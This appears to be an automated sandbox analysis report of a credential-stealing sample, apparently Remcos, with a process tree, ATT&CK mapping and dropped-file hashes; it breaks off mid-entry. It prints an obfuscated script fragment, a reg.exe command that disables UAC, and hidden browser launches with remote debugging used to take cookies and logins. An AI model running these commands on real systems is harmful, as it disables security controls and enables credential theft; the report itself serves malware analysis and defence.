'Hand$,ockgGra lunifoKy.ebTilba agslTesc: ConsBestaNeglls neR.ram= Res$SpadsB hoHTil,a errFmoldTAver. PasSE ilUSlvsB neqsFritTEdu RBemyI DupN.antgProl(Kryp$SkeptBrn iJ hnLSjlefVensOFotoRana,LreedaLancDQua E tjel BehIOmdeGPrebEo terVa,ueGodm,Opha$M,narHackAHospC andesup ROmgrC.atryG arkBlodlHe teInt RVandNJoulesterS Gra) Di, ');Begejstret $salr;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4268
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3028
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:1380
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zmwmimvogdfydctqgecr"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2228
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\jpcwjfgiulxdfjhcxoxspnh"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:4316
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mjhpkxrjitpqppdggzjmsacyhf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1704
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2092
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff96a8dcc40,0x7ff96a8dcc4c,0x7ff96a8dcc58
      4⤵
      PID:4816
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2016,i,16055446796746907883,14634586599468341467,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2008 /prefetch:2
      4⤵
      PID:4792
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1936,i,16055446796746907883,14634586599468341467,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2128 /prefetch:3
      4⤵
      PID:3112
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2164,i,16055446796746907883,14634586599468341467,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2548 /prefetch:8
      4⤵
      PID:748
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3160,i,16055446796746907883,14634586599468341467,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3196 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3812
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3168,i,16055446796746907883,14634586599468341467,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3224 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2088
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3772,i,16055446796746907883,14634586599468341467,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3684 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:836
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4704,i,16055446796746907883,14634586599468341467,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4584 /prefetch:8
      4⤵
      PID:2400
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4372,i,16055446796746907883,14634586599468341467,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4368 /prefetch:8
      4⤵
      PID:4040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:3932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff96a7946f8,0x7ff96a794708,0x7ff96a794718
      4⤵
      PID:1816
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2180,12692178663727503085,16784942538499904325,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2196 /prefetch:2
      4⤵
      PID:3396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2180,12692178663727503085,16784942538499904325,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 /prefetch:3
      4⤵
      PID:4136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2180,12692178663727503085,16784942538499904325,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2832 /prefetch:8
      4⤵
      PID:1588
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2180,12692178663727503085,16784942538499904325,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4056
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2180,12692178663727503085,16784942538499904325,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4148
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2180,12692178663727503085,16784942538499904325,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5384 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:2400
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2180,12692178663727503085,16784942538499904325,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5424 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1068

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3760

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3588

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
393972292d3644143b7fa348401a7875

SHA1
34951e968707f2a885344b56046924e659a7ec55

SHA256
6c33ca00c4cd24d52fdd85dcaf8230af4a4cea79429cd636ef881afaf53ac8c5

SHA512
ba526a9c67e3b149118ca7e565bf0926ebb09b2c78e3a7ccee324c2e3e9553803e065f1b6afb0990e8f087486e0730ebcb94aaebc57dd842b54735924ad3c0c1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f58e73a5c43b0713d39bb6cca4251670

SHA1
ece141754053a0d3855b7270a9569601e99dbbf6

SHA256
f374315ca436a4f0505cdc56d043e1176df91064603a38001902cf596262d015

SHA512
1872b460e63288eabd785e10c76ee0b35bb9c37891193ad4ac0992e37f2fd6d9e692cea26ceec58b219b892910825e80d8e009c161d36735eb1dd839d4622ee8

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
40B

MD5
0945ec4f9becc66d93331e2561814a5b

SHA1
0bd135524f55157dd99d65d9f5a92001034b91ac

SHA256
f9926cc0d4b4caf2d5b1ec28c01cd3d970685607125377ccf539b440aeb75818

SHA512
0b5b7394ed19c7f5d2bd7e368b6d3570fb421ca958ea7ec99ba0d2045fb39ef560c5009237569efa584a823dec2e624340e5ba6fe9e2bf06b12c58482053f1a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
344d5a8d003d1b23ad3cf1e15577a408

SHA1
d7cf07ac030871f6b197e540f00c5a1f1d034baa

SHA256
676caab9d47894665aa9e83c223f2c2044dc15c4f5fe55dd3bf81bb73a1e6a3c

SHA512
ebc274d3aeff2d5af3375d7dead4e2cdf9badbc361eb8e7b32d6488314f57428c9a6e70490d5d25791d38c950b79fe961bed962133fd4f3a4f99e16ea89fe152

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
c73c1fa33f7769ee6cdfc541b5f89e19

SHA1
b14d85661ec13f23e61b89774f59ab4816ecdefb

SHA256
f1db69c6f0a4650c7e30e6af60b8b2bb79963b2f992cd95116b964d0133d8d85

SHA512
dae2eb428994c219d3ab112aa9b42795399286851761dab52983ccfce2ecddfd0073804f9bf6ce1fb61ba0b2db47f1e7075250611de2a98e40d62931da23cfd6

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\settings.dat

Filesize
152B

MD5
4f58fe92d88cf813f7fd1061c35e5447

SHA1
239a4588510b0f4cf219b078f040d70511e2ae4d

SHA256
4977983020b0eb82c646c4a2fda62693ae48eb00f0e055ae97663f02e57ae829

SHA512
b1c5b6edb52639854665b54ff880064a4cc8a07366466960f42fdee9f4f33064e04847982f2af1f588d0efadd13abe88f8776eabe1316fe60094eda3ab1d0b3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad\throttle_store.dat

Filesize
20B

MD5
9e4e94633b73f4a7680240a0ffd6cd2c

SHA1
e68e02453ce22736169a56fdb59043d33668368f

SHA256
41c91a9c93d76295746a149dce7ebb3b9ee2cb551d84365fff108e59a61cc304

SHA512
193011a756b2368956c71a9a3ae8bc9537d99f52218f124b2e64545eeb5227861d372639052b74d0dd956cb33ca72a9107e069f1ef332b9645044849d14af337

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index

Filesize
24B

MD5
54cb446f628b2ea4a5bce5769910512e

SHA1
c27ca848427fe87f5cf4d0e0e3cd57151b0d820d

SHA256
fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d

SHA512
8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Code Cache\js\index-dir\the-real-index

Filesize
48B

MD5
a748b779ca673e6ebdccf438f7e036cd

SHA1
e0398ea92bce9f0a6fe54a12a8c01a414cf6789c

SHA256
4095781e44c8bcfe23dcc8af52a4ab979a5bac58e028ca6b74c89870fcd870a6

SHA512
b7f616ffb1a5028b57610040b7afd207d51bcad6a2b4de256d7982014e8ecba27d377fabb19668009ef5fa8f47ad1eb3e6c53e1ee3c8079dc9b07c104ce5e9ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Favicons

Filesize
20KB

MD5
b40e1be3d7543b6678720c3aeaf3dec3

SHA1
7758593d371b07423ba7cb84f99ebe3416624f56

SHA256
2db221a44885c046a4b116717721b688f9a026c4cae3a17cf61ba9bef3ad97f4

SHA512
fb0664c1c83043f7c41fd0f1cc0714d81ecd71a07041233fb16fefeb25a3e182a77ac8af9910eff81716b1cceee8a7ee84158a564143b0e0d99e00923106cc16

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\GPUCache\index

Filesize
256KB

MD5
b7a704ddb0eff0f8978adda369db7ed6

SHA1
440f280b9d7eace74916006543eaf472931f772a

SHA256
b961821712ffdcbbd2a625460d8e223eb08e8efefb265a228c9f6beaf833338c

SHA512
d17302579756680b5911eb007dcbe8b79a47ec3df5bd5fc6d9134f2430207361d621c2e0f3768ebfe736124ff222e54ef11efebc65db1b294bf23f4edf6d353d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\History

Filesize
192KB

MD5
d30bfa66491904286f1907f46212dd72

SHA1
9f56e96a6da2294512897ea2ea76953a70012564

SHA256
25bee9c6613b6a2190272775a33471a3280bd9246c386b72d872dc6d6dd90907

SHA512
44115f5aaf16bd3c8767bfb5610eba1986369f2e91d887d20a9631807c58843434519a12c9fd23af38c6adfed4dbf8122258279109968b37174a001320839237

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\LOG

Filesize
277B

MD5
dbc4ddab5dda7cec5dcaf1089e3b8432

SHA1
e5b028766d2af09d095bf4e4ee91f0fa4fc02abe

SHA256
18352068dc9a7464a1a5410de2d79a3e8aacf03caa8e81f0cb3d55db677b9c9a

SHA512
e8281d9656e4af09957933e1843021c39858ef3bad4946d513a62745f9241ce26ce60d7b0ee05b12cc88669409f72bb3577c3f88e082fb9f51da86fed574b69a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Local Storage\leveldb\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Login Data

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Microsoft Edge.lnk

Filesize
1KB

MD5
b78b593bc40d544116ecfa928f9678b3

SHA1
0b6eaccac1dd8590f372a90b3cca3ccd17032a43

SHA256
b9fc0e4011ee54ed1b90c5d6c4dcd11183996de7a622d1718b8eee4d30fd61e8

SHA512
2059996f07134495fb6f41604cc67dcfafa8880bcb116bf02756d14b9aad3dcec278406681cacfd1d61cdb66c97ea9f86625c8e1a2d0b13a029278badaf896e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\Cookies

Filesize
20KB

MD5
616655bc7fa9ba0a1a6cd14cf4e582a7

SHA1
90a86c6ba760ec3271906740359ac1b5f12b8063

SHA256
d18c651e7b7717df0a44790dcd7df1d0a28c75f95412d163fce13ceda06a4c2d

SHA512
641b14a377f89b87ae3cf45a26de7150472fabdec2f62e0d969c0129684149092ff74214a2c620068e20ba49bb1eefe4b6b3c18802b8c6149a60588a21095eed

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
5KB

MD5
eb3133e5dd9a24a97d9ee6076c9c844c

SHA1
8bdd87d3790d640d7bfdbf81c702152b65b7f3f6

SHA256
52aef7440c472cfe3a2561010c42cdcea3bcd84975f2cd78af1a6b83d2339581

SHA512
d7631be2baaf7f5a20d4552db46a8649948ad590332a94798becebc1bbcea0d5087fb3a0d62b79c92aff160d04a5a7932a1111085137fe56022a8bd811fbbf35

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Preferences

Filesize
1KB

MD5
1579d58a26f27dfaa977b3b2089ae52a

SHA1
a7142ff0359c843283460a587e54b84145e65aeb

SHA256
36518a18ce1fafc2e67795dd8a4abe1b8a19d6f2af5ad001b91fa450fc66871c

SHA512
7887a1d765253168334f98b227869adf2bce24f594008b0c2ba0fb8bf08655a91db723e5d4b5e7dd584a0054a8f96ef91ae9e1a9fcef901c37865d7586da8631

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
15KB

MD5
c6c59a39ea2a8bd650f111ad9bffbb18

SHA1
dab48c89ed54dad31f37d13fc5768285afeb370b

SHA256
bb0c7af9010736950f57d7e37f32bbae1349323ae4399bdc0261774cdf63ea72

SHA512
ef16ca2301cd2b0410b7f16dcbd74a242060397a68187e5140ac02b6535241724bac574124dc20c78952ba1d678e02c887ccb61e5d9f527c0ebca8915a2c8c18

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Secure Preferences

Filesize
24KB

MD5
62fa438b48fdfb61c360e6d4fd356110

SHA1
6e54e946a5211afa1459715b9f37a18ea92cdd57

SHA256
fe3d2e83848ede65097467a54ea813ed25a51119e87121089b3cfc531ebe5798

SHA512
01ada296a3fefe713f53d80d2c95b6e41231012d0998077b7948a68d961b61292d1e3b1b3457488eaa739fc4ff0974672ee448d29d2fcce2c1bebab49da96624

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\000003.log

Filesize
241B

MD5
9082ba76dad3cf4f527b8bb631ef4bb2

SHA1
4ab9c4a48c186b029d5f8ad4c3f53985499c21b0

SHA256
bff851dedf8fc3ce1f59e7bcd3a39f9e23944bc7e85592a94131e20fd9902ddd

SHA512
621e39d497dece3f3ddf280e23d4d42e4be8518e723ecb82b48f8d315fc8a0b780abe6c7051c512d7959a1f1def3b10b5ed229d1a296443a584de6329275eb40

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Service Worker\Database\LOG

Filesize
279B

MD5
333e8feb343d692c3fd826f2f00b03ad

SHA1
a18912638999ed31882fd4f0433c3282f0cfb0b7

SHA256
36b4910118b9d736428a5bb823b50b1d7009747fe5be0db9531f089bb179554c

SHA512
2b24a185ad933012af5973076b42c986a10f0592cf8a7575de1b7dea1bd377fc0fd43fc7a7499b8bebf5c3f6bb7d0e5fe19c8e62aab8e595a6bc5b2071c5e49c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\000003.log

Filesize
80B

MD5
69449520fd9c139c534e2970342c6bd8

SHA1
230fe369a09def748f8cc23ad70fd19ed8d1b885

SHA256
3f2e9648dfdb2ddb8e9d607e8802fef05afa447e17733dd3fd6d933e7ca49277

SHA512
ea34c39aea13b281a6067de20ad0cda84135e70c97db3cdd59e25e6536b19f7781e5fc0ca4a11c3618d43fc3bd3fbc120dd5c1c47821a248b8ad351f9f4e6367

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Session Storage\LOG

Filesize
265B

MD5
bf3428eb38983e60cdd2896da8c57842

SHA1
9a36da333034a6392e202e74a4f8186f1cd09157

SHA256
db247c9ad593b6fe66b24e75c1006b71add51fbb5c27ca0a05df84aae0667b32

SHA512
fbac5994445e75d87a1c0543cb10d81a1936e4a380311bfc2927f2dfa2089ce75c60a01889960882898f2259da9843bd0ac940d943cffbe11a49e12ec1c10216

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\000003.log

Filesize
40B

MD5
148079685e25097536785f4536af014b

SHA1
c5ff5b1b69487a9dd4d244d11bbafa91708c1a41

SHA256
f096bc366a931fba656bdcd77b24af15a5f29fc53281a727c79f82c608ecfab8

SHA512
c2556034ea51abfbc172eb62ff11f5ac45c317f84f39d4b9e3ddbd0190da6ef7fa03fe63631b97ab806430442974a07f8e81b5f7dc52d9f2fcdc669adca8d91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\LOG

Filesize
291B

MD5
5e22940f1a6256368968b98462fe49b9

SHA1
97ae6486a214a6504149628eafdb642293693e8a

SHA256
660a4d7f34bafa4c423f957011272a3649d2e5fb87d8d3d4a68645ff6b5141e8

SHA512
994d484c12ef7d84153e96673afbb8cd56508f5f30e723f26614079927998450cd79e2312a941c9ff6a30ee88d49ae87a86c089393b1c30171b9becfca027c30

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\000003.log

Filesize
46B

MD5
90881c9c26f29fca29815a08ba858544

SHA1
06fee974987b91d82c2839a4bb12991fa99e1bdd

SHA256
a2ca52e34b6138624ac2dd20349cde28482143b837db40a7f0fbda023077c26a

SHA512
15f7f8197b4fc46c4c5c2570fb1f6dd73cb125f9ee53dfa67f5a0d944543c5347bdab5cce95e91dd6c948c9023e23c7f9d76cff990e623178c92f8d49150a625

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\LOG

Filesize
267B

MD5
26c778f86c2b0cc07d7062eb00eec7d4

SHA1
368c1bd3085fca35544b0e21a40d45f6ae3deca4

SHA256
08fbe67a0d8c78608657696c7d98c69ac925227349aab54c4fbe98035a873c0f

SHA512
3c325348ac101e1e24941af76f064e0bfaa6570a387ddc831a17e5dc416622c63008889e2562b3608c6e12ecd4e46bd3cec1730aa8f6921ed1363b07a2ccdad1

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Top Sites

Filesize
20KB

MD5
986962efd2be05909f2aaded39b753a6

SHA1
657924eda5b9473c70cc359d06b6ca731f6a1170

SHA256
d5dddbb1fbb6bbf2f59b9d8e4347a31b6915f3529713cd39c0e0096cea4c4889

SHA512
e2f086f59c154ea8a30ca4fa9768a9c2eb29c0dc2fe9a6ed688839853d90a190475a072b6f7435fc4a1b7bc361895086d3071967384a7c366ce77c6771b70308

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Visited Links

Filesize
128KB

MD5
53ea3bc1991b807223e6ac7fc0ca0999

SHA1
78d38386f1a22597c3740068c230d6d1248ee29e

SHA256
97082b3a8f45fd774decfeeaf64ed0a90c13fbaf7726260111a19df952db071c

SHA512
